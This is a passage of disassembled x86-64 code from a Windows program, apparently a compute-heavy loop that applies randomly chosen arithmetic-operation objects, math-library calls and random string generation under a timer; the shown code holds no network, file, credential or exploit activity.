and rcx, 0xfffffffffffffff8
xorps xmm1, xmm1
xorps xmm2, xmm2
nop
movdqu xmm0, xmmword [rax]
paddd xmm1, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm2, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x14000d340
paddd xmm1, xmm2
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x14000d39c
nop word [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x14000d390
mov eax, dword [rsp + 0x30]
add eax, r8d
mov dword [rsp + 0x30], eax
mov esi, dword [rbp + 0x250]
btc esi, 0x1f
mov r12d, dword [rbp + 0x254]
btc r12d, 0x1f
sub r12d, esi
lea rcx, [rbp + 0x19a0]
cmp r12d, 0xffffffff
jne 0x14000d3ee
call fcn.140024a70
lea edi, [rax + rsi]
xor edi, 0x80000000
lea rcx, [rbp + 0x19a0]
call fcn.140024a70
mov ecx, eax
jmp 0x14000d491
inc r12d
call fcn.140024a70
mov r14d, r12d
mov ecx, eax
imul rcx, r14
cmp ecx, r12d
jae 0x14000d42a
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov edi, edx
cmp ecx, edx
jae 0x14000d42a
lea rcx, [rbp + 0x19a0]
call fcn.140024a70
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x14000d414
shr rcx, 0x20
lea r14d, [rcx + rsi]
xor r14d, 0x80000000
mov r15d, esi
lea rcx, [rbp + 0x19a0]
call fcn.140024a70
mov r13d, r12d
mov ecx, eax
imul rcx, r13
mov edi, r14d
cmp ecx, r12d
jae 0x14000d48d
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov r12d, edx
cmp ecx, edx
jae 0x14000d48d
nop word [rax + rax]
mov esi, r15d
mov edi, r14d
lea rcx, [rbp + 0x19a0]
call fcn.140024a70
mov ecx, eax
imul rcx, r13
cmp ecx, r12d
jb 0x14000d470
shr rcx, 0x20
lea r8d, [rcx + rsi]
btc r8d, 0x1f
mov ecx, edi
test edi, edi
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, edi
cdq
idiv ecx
imul edi, r8d
add eax, edi
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
mov r14d, dword [rbp + 0x250]
btc r14d, 0x1f
test al, 1
mov eax, dword [rbp + 0x254]
lea rcx, [rbp + 0x19a0]
jne 0x14000d559
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x14000d504
call fcn.140024a70
mov ecx, eax
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
jmp 0x14000d5b7
lea edi, [rax + 1]
call fcn.140024a70
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000d546
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000d546
nop word [rax + rax]
lea rcx, [rbp + 0x19a0]
call fcn.140024a70
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000d530
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
jmp 0x14000d5b7
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x14000d56e
call fcn.140024a70
mov ecx, eax
jmp 0x14000d5aa
lea edi, [rax + 1]
call fcn.140024a70
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000d5a6
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000d5a6
lea rcx, [rbp + 0x19a0]
call fcn.140024a70
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000d590
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov r12d, dword [rbp + 0x250]
btc r12d, 0x1f
mov r13d, 5
mov r15d, dword [rbp + 0x254]
btc r15d, 0x1f
sub r15d, r12d
nop dword [rax]
xor r14d, r14d
lea rcx, [rbp + 0x19a0]
cmp r15d, 0xffffffff
jne 0x14000d5f9
call fcn.140024a70
mov ecx, eax
jmp 0x14000d63a
lea edi, [r15 + 1]
call fcn.140024a70
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000d636
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000d636
nop dword [rax]
lea rcx, [rbp + 0x19a0]
call fcn.140024a70
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000d620
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
movaps xmm1, xmm8
movaps xmm2, xmm10
mov edi, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x19a0]
call fcn.140024a70
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000d660
divsd xmm1, xmm2
mulsd xmm1, xmm14
addsd xmm1, xmm13
addsd xmm1, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm1
test r14b, 1
jne 0x14000d71e
lea rcx, [rbp + 0x19a0]
cmp r15d, 0xffffffff
jne 0x14000d6c4
call fcn.140024a70
mov ecx, eax
jmp 0x14000d70a
lea edi, [r15 + 1]
call fcn.140024a70
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000d706
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000d706
nop word [rax + rax]
lea rcx, [rbp + 0x19a0]
call fcn.140024a70
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000d6f0
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000d781
movaps xmm1, xmm8
movaps xmm2, xmm10
mov edi, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x19a0]
call fcn.140024a70
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000d730
divsd xmm1, xmm2
mulsd xmm1, xmm14
addsd xmm1, xmm13
movsd xmm0, qword [rsp + 0x38]
addsd xmm1, xmm10
divsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
inc r14d
cmp r14d, 5
jl 0x14000d5e3
sub r13, 1
jne 0x14000d5e0
mov rcx, qword [rbp + 0x278]
test rcx, rcx
je 0x14000d7f7
mov rax, qword [rbp + 0x288]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d7db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d851
call fcn.14002c350
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x278], xmm0
xor r12d, r12d
mov qword [rbp + 0x288], r12
jmp 0x14000d7fa
xor r12d, r12d
mov rdx, qword [rbp + 0x340]
cmp rdx, 0xf
jbe 0x14000d837
inc rdx
mov rcx, qword [rbp + 0x328]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d832
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d858
call fcn.14002c350
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
cmp eax, 0x186a0
jl 0x14000cdc0
jmp 0x14000cd10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, dword [rsp + 0x30]
mov rbx, qword [rbp + 0x260]
mov r14d, 1
test rbx, rbx
je 0x14000d8fd
mov rdi, qword [rbp + 0x268]
cmp rbx, rdi
je 0x14000d8a5
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000d895
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
add rbx, 8
cmp rbx, rdi
jne 0x14000d885
mov rbx, qword [rbp + 0x260]
mov rax, qword [rbp + 0x270]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000d8e3
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d8e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.14002c350
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], r12
lea rcx, [rbp + 0x410]
call fcn.14000f530
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x410]
call fcn.14001eee0
nop
cmp qword [rbp + 0x498], 0
je 0x14000f3d0
lea rcx, [rbp + 0x2a8]
call fcn.140020600
nop
mov rcx, qword [rbp - 0x60]
call fcn.140020410
mov rdi, rax
call fcn.140020430
mov rbx, rax
cmp rax, rdi
je 0x14000da23
mov esi, 0x22
nop word [rax + rax]
movzx r9d, word [rbx]
cmp r9w, si
je 0x14000d9b6
mov rcx, qword [rbp + 0x2b8]
mov rdx, qword [rbp + 0x2c0]
cmp rcx, rdx
jae 0x14000d9a8
lea rax, [rcx + 1]
mov qword [rbp + 0x2b8], rax
lea rax, [rbp + 0x2a8]
cmp rdx, 7
cmova rax, qword [rbp + 0x2a8]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r12w
jmp 0x14000da0c
lea rcx, [rbp + 0x2a8]
call fcn.140022600
jmp 0x14000da0c
mov eax, dword [0x140030f64]
mov dword [rsp + 0x50], eax
movzx eax, word [0x140030f68]
mov word [rsp + 0x50], si
xor word [rsp + 0x52], 0x57
xor ax, 0x59
mov word [rsp + 0x54], ax
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14000d9f0
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x2a8]
call fcn.140020440
add rbx, 2
cmp rbx, rdi
jne 0x14000d960
movabs rsi, 0xb2f4fc0794908cf3
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x1994], 0xffffffff
mov dword [rbp + 0x614], eax
mov rdx, r14
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x614], eax
inc rdx
cmp rdx, 0x270
jb 0x14000da40
mov dword [rbp + 0x610], 0x270
mov dword [rbp + 0x230], 0xffffff9c
mov dword [rbp + 0x234], 0x64
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm8
lea rcx, [rbp + 0x128]
call fcn.140001650
mov rdi, qword [rbp + 0x128]
add rdi, 0x5f5e100
mov qword [rbp - 0x70], rdi
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x238], xmm1
mov qword [rbp + 0x248], r12
mov ecx, 8
call fcn.14002c358
lea rcx, vtable.AddOperation.0
mov qword [rax], rcx
mov rbx, r12
mov qword [rbp + 0x130], rbx
mov qword [rbp - 0x38], rax
mov rdx, qword [rbp + 0x240]
cmp rdx, qword [rbp + 0x248]
je 0x14000db06
mov qword [rbp - 0x38], r12
mov qword [rdx], rax
add qword [rbp + 0x240], 8
mov rbx, qword [rbp + 0x130]
jmp 0x14000db17
lea r8, [rbp - 0x38]
lea rcx, [rbp + 0x238]
call fcn.140023b40
nop
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x14000db29
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
nop
test rbx, rbx
je 0x14000db39
mov rax, qword [rbx]
mov edx, r14d
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.14002c358
lea rcx, vtable.MultiplyOperation.0
mov qword [rax], rcx
mov rbx, r12
mov qword [rbp + 0x138], rbx
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp + 0x240]
cmp rdx, qword [rbp + 0x248]
je 0x14000db83
mov qword [rbp - 0x30], r12
mov qword [rdx], rax
add qword [rbp + 0x240], 8
mov rbx, qword [rbp + 0x138]
jmp 0x14000db94
lea r8, [rbp - 0x30]
lea rcx, [rbp + 0x238]
call fcn.140023b40
nop
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x14000dba6
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
nop
test rbx, rbx
je 0x14000dbb6
mov rax, qword [rbx]
mov edx, r14d
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.14002c358
lea rcx, vtable.SubtractOperation.0
mov qword [rax], rcx
mov rbx, r12
mov qword [rbp + 0x140], rbx
mov qword [rbp - 0x18], rax
mov rdx, qword [rbp + 0x240]
cmp rdx, qword [rbp + 0x248]
je 0x14000dc00
mov qword [rbp - 0x18], r12
mov qword [rdx], rax
add qword [rbp + 0x240], 8
mov rbx, qword [rbp + 0x140]
jmp 0x14000dc11
lea r8, [rbp - 0x18]
lea rcx, [rbp + 0x238]
call fcn.140023b40
nop
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x14000dc23
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
nop
test rbx, rbx
je 0x14000dc33
mov rax, qword [rbx]
mov edx, r14d
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.14002c358
lea rcx, vtable.DivideOperation.0
mov qword [rax], rcx
mov rbx, r12
mov qword [rbp + 0x148], rbx
mov qword [rbp - 0x10], rax
mov rdx, qword [rbp + 0x240]
cmp rdx, qword [rbp + 0x248]
je 0x14000dc7d
mov qword [rbp - 0x10], r12
mov qword [rdx], rax
add qword [rbp + 0x240], 8
mov rbx, qword [rbp + 0x148]
jmp 0x14000dc8e
lea r8, [rbp - 0x10]
lea rcx, [rbp + 0x238]
call fcn.140023b40
nop
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x14000dca0
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
nop
test rbx, rbx
je 0x14000dcb0
mov rax, qword [rbx]
mov edx, r14d
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.14002c358
lea rcx, vtable.ModulusOperation.0
mov qword [rax], rcx
mov rbx, r12
mov qword [rbp + 0x150], rbx
mov qword [rbp - 0x28], rax
mov rdx, qword [rbp + 0x240]
cmp rdx, qword [rbp + 0x248]
je 0x14000dcfa
mov qword [rbp - 0x28], r12
mov qword [rdx], rax
add qword [rbp + 0x240], 8
mov rbx, qword [rbp + 0x150]
jmp 0x14000dd0b
lea r8, [rbp - 0x28]
lea rcx, [rbp + 0x238]
call fcn.140023b40
nop
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x14000dd1d
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
nop
test rbx, rbx
je 0x14000dd2d
mov rax, qword [rbx]
mov edx, r14d
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.14002c358
lea rcx, vtable.ComplexOperation.0
mov qword [rax], rcx
mov rbx, r12
mov qword [rbp + 0x78], rbx
mov qword [rbp - 0x20], rax
mov rdx, qword [rbp + 0x240]
cmp rdx, qword [rbp + 0x248]
je 0x14000dd71
mov qword [rbp - 0x20], r12
mov qword [rdx], rax
add qword [rbp + 0x240], 8
mov rbx, qword [rbp + 0x78]
jmp 0x14000dd82
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x238]
call fcn.140023b40
nop
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x14000dd94
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
nop
test rbx, rbx
je 0x14000dda4
mov rax, qword [rbx]
mov edx, r14d
mov rcx, rbx
call qword [rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rbx, 0x989680
jne 0x14000ddc5
imul rax, rcx, 0x64
jmp 0x14000de34
cmp rbx, 0x16e3600
jne 0x14000de19
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x14000de34
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x14000e8e1
mov dword [rsp + 0x40], r12d
mov r12d, dword [rbp + 0x230]
btc r12d, 0x1f
mov dword [rsp + 0x68], r12d
mov r13d, dword [rbp + 0x234]
btc r13d, 0x1f
sub r13d, r12d
lea rcx, [rbp + 0x610]
cmp r13d, 0xffffffff
jne 0x14000de8e
call fcn.140024a70
lea esi, [r13 + 1]
mov r15d, r12d
lea rcx, [rbp + 0x610]
call fcn.140024a70
mov ecx, eax
jmp 0x14000df28
lea ebx, [r13 + 1]
call fcn.140024a70
mov r14d, ebx
mov ecx, eax
imul rcx, r14
mov eax, ebx
cmp ecx, ebx
jae 0x14000decc
neg eax
xor edx, edx
div ebx
mov esi, edx
mov eax, ebx
cmp ecx, edx
jae 0x14000decc
lea rcx, [rbp + 0x610]
call fcn.140024a70
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jb 0x14000deb4
jmp 0x14000dece
mov ebx, eax
mov r14d, r12d
lea rcx, [rbp + 0x610]
call fcn.140024a70
mov edx, ebx
mov qword [rbp - 0x60], rdx
mov ecx, eax
imul rcx, rdx
mov esi, ebx
mov r15d, r12d
cmp ecx, ebx
jae 0x14000df24
mov eax, ebx
neg eax
xor edx, edx
div ebx
cmp ecx, edx
jae 0x14000df24
mov edi, edx
mov r12, qword [rbp - 0x60]
mov r15d, r14d
mov esi, ebx
lea rcx, [rbp + 0x610]
call fcn.140024a70
mov ecx, eax
imul rcx, r12
cmp ecx, edi
jb 0x14000df04
mov r12d, dword [rsp + 0x68]
shr rcx, 0x20
lea eax, [rcx + r15]
cdqe
xor rax, 0xffffffff80000000
mov rcx, qword [rbp + 0x240]
mov r8, qword [rbp + 0x238]
sub rcx, r8
sar rcx, 3
xor edx, edx
div rcx
movsxd rax, edx
mov r15, qword [r8 + rax*8]
mov rax, qword [r15]
mov rbx, qword [rax + 8]
mov qword [rsp + 0x48], rbx
lea rcx, [rbp + 0x610]
call fcn.140024a70
cmp r13d, 0xffffffff
jne 0x14000df77
mov ecx, eax
jmp 0x14000dfb1
mov r14d, esi
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jae 0x14000dfad
mov eax, esi
neg eax
xor edx, edx
div esi
mov ebx, edx
cmp ecx, edx
jae 0x14000dfa8
lea rcx, [rbp + 0x610]
call fcn.140024a70
mov ecx, eax
imul rcx, r14
cmp ecx, ebx
jb 0x14000df92
mov rbx, qword [rsp + 0x48]
shr rcx, 0x20
lea r8d, [rcx + r12]
btc r8d, 0x1f
mov edx, dword [rsp + 0x30]
mov rcx, r15
call rbx
mov dword [rsp + 0x30], eax
movaps xmm11, xmm8
movaps xmm1, xmm10
mov ebx, 2
lea rcx, [rbp + 0x610]
call fcn.140024a70
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm11, xmm0
mulsd xmm1, xmm9
sub rbx, 1
jne 0x14000dfd4
divsd xmm11, xmm1
mulsd xmm11, xmm14
addsd xmm11, xmm13
movaps xmm12, xmm8
movaps xmm1, xmm10
mov ebx, 2
nop
lea rcx, [rbp + 0x610]
call fcn.140024a70
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm12, xmm0
mulsd xmm1, xmm9
sub rbx, 1
jne 0x14000e020
divsd xmm12, xmm1
mulsd xmm12, xmm14
addsd xmm12, xmm13
movaps xmm0, xmm12
andps xmm0, xmm15
addsd xmm0, xmm10
call sub.api_ms_win_crt_math_l1_1_0.dll_log
movaps xmm7, xmm0
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm6, xmm0
movaps xmm0, xmm12
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm6, xmm0
addsd xmm7, xmm6
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm7, xmm0
addsd xmm7, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm7
movaps xmm0, xmm8
movaps xmm2, xmm10
mov ebx, 2
nop word [rax + rax]
lea rcx, [rbp + 0x610]
call fcn.140024a70
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rbx, 1
jne 0x14000e0c0
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm13
movsd xmm1, qword [0x140031910]
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
movaps xmm0, xmm8
movaps xmm2, xmm10
mov ebx, 2
nop word [rax + rax]
lea rcx, [rbp + 0x610]
call fcn.140024a70
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rbx, 1
jne 0x14000e130
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm13
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
movsd xmm1, qword [rsp + 0x38]
mulsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x348], xmm0
xor r13d, r13d
mov qword [rbp + 0x358], r13
mov qword [rbp + 0x360], r13
mov r8d, 3
lea rdx, [0x1400309c0]
lea rcx, [rbp + 0x348]
call fcn.140022da0
nop
lea rbx, [rbp + 0x348]
cmp qword [rbp + 0x360], 0xf
cmova rbx, qword [rbp + 0x348]
lea rsi, [rbp + 0x348]
cmova rsi, qword [rbp + 0x348]
add rsi, qword [rbp + 0x358]
cmp rbx, rsi
je 0x14000e237
nop dword [rax + rax]
lea rcx, [rbp + 0x610]
call fcn.140024a70
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x14000e227
nop word [rax + rax]
lea rcx, [rbp + 0x610]
call fcn.140024a70
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x14000e210
shr rax, 0x20
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rsi
jne 0x14000e1f0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x290], xmm1
mov qword [rbp + 0x2a0], r13
mov ecx, 0x190
call fcn.14002c358
mov qword [rbp + 0x290], rax
lea r14, [rax + 0x190]
mov qword [rbp + 0x2a0], r14
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x298], r14
lea rax, [rbp + 0x230]
mov qword [rbp + 0x190], rax
lea rax, [rbp + 0x610]
mov qword [rbp + 0x198], rax
movaps xmm0, xmmword [rbp + 0x190]
movdqa xmmword [rbp - 0x60], xmm0
mov rsi, qword [rbp + 0x290]
cmp rsi, r14
je 0x14000e2e4
mov rbx, qword [rbp - 0x58]
mov r15, qword [rbp - 0x60]
nop dword [rax + rax]
mov rdx, rbx
mov rcx, r15
call fcn.1400219d0
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x14000e2c0
mov r14, qword [rbp + 0x298]
mov rsi, qword [rbp + 0x290]
mov dword [rbp + 0x310], 0xffffff9c
mov dword [rbp + 0x314], 0x64
lea rax, [rbp + 0x310]
mov qword [rbp + 0x1a0], rax
lea rax, [rbp + 0x610]
mov qword [rbp + 0x1a8], rax
movaps xmm0, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp - 0x60], xmm0
cmp rsi, r14
je 0x14000e358
mov r15, qword [rbp - 0x58]
mov r12, qword [rbp - 0x60]
nop dword [rax]
mov ebx, dword [rsi]
mov rdx, r15
mov rcx, r12
call fcn.1400219d0
add eax, ebx
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x14000e330
mov r14, qword [rbp + 0x298]
mov rsi, qword [rbp + 0x290]
mov r8, r14
sub r8, rsi
sar r8, 2
xor r9d, r9d
mov rdx, r14
mov rcx, rsi
call fcn.1400244b0
mov r8d, r13d
mov rax, qword [rbp + 0x290]
mov rdx, r13
mov r9, qword [rbp + 0x298]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r13
test rcx, rcx
je 0x14000e3f5
cmp rcx, 8
jb 0x14000e3f5
and rcx, 0xfffffffffffffff8
xorps xmm1, xmm1
xorps xmm2, xmm2
nop
movdqu xmm0, xmmword [rax]
paddd xmm1, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm0, xmm2
movdqa xmm2, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x14000e3b0
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x14000e40c
nop word [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x14000e400
mov eax, dword [rsp + 0x30]
add eax, r8d
mov dword [rsp + 0x30], eax
mov esi, dword [rbp + 0x230]
btc esi, 0x1f
mov r12d, dword [rbp + 0x234]
btc r12d, 0x1f
sub r12d, esi
lea rcx, [rbp + 0x610]
cmp r12d, 0xffffffff
jne 0x14000e45e
call fcn.140024a70
lea ebx, [rax + rsi]
xor ebx, 0x80000000
lea rcx, [rbp + 0x610]
call fcn.140024a70
mov ecx, eax
jmp 0x14000e501
inc r12d
call fcn.140024a70
mov r14d, r12d
mov ecx, eax
imul rcx, r14
cmp ecx, r12d
jae 0x14000e49a
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov ebx, edx
cmp ecx, edx
jae 0x14000e49a
lea rcx, [rbp + 0x610]
call fcn.140024a70
mov ecx, eax
imul rcx, r14
cmp ecx, ebx
jb 0x14000e484
shr rcx, 0x20
lea r14d, [rcx + rsi]
xor r14d, 0x80000000
mov r15d, esi
lea rcx, [rbp + 0x610]
call fcn.140024a70
mov r13d, r12d
mov ecx, eax
imul rcx, r13
mov ebx, r14d
cmp ecx, r12d
jae 0x14000e4fd
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov r12d, edx
cmp ecx, edx
jae 0x14000e4fd
nop word [rax + rax]
mov esi, r15d
mov ebx, r14d
lea rcx, [rbp + 0x610]
call fcn.140024a70
mov ecx, eax
imul rcx, r13
cmp ecx, r12d
jb 0x14000e4e0
shr rcx, 0x20
lea r8d, [rcx + rsi]
btc r8d, 0x1f
mov ecx, ebx
test ebx, ebx
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, ebx
cdq
idiv ecx
imul ebx, r8d
add eax, ebx
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
mov r14d, dword [rbp + 0x230]
btc r14d, 0x1f
test al, 1
mov eax, dword [rbp + 0x234]
lea rcx, [rbp + 0x610]
jne 0x14000e5c9
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x14000e574
call fcn.140024a70
mov ecx, eax
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
jmp 0x14000e627
lea ebx, [rax + 1]
call fcn.140024a70
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x14000e5b6
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x14000e5b6
nop word [rax + rax]
lea rcx, [rbp + 0x610]
call fcn.140024a70
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x14000e5a0
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
jmp 0x14000e627
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x14000e5de
call fcn.140024a70
mov ecx, eax
jmp 0x14000e61a
lea ebx, [rax + 1]
call fcn.140024a70
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x14000e616
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x14000e616
lea rcx, [rbp + 0x610]
call fcn.140024a70
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x14000e600
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
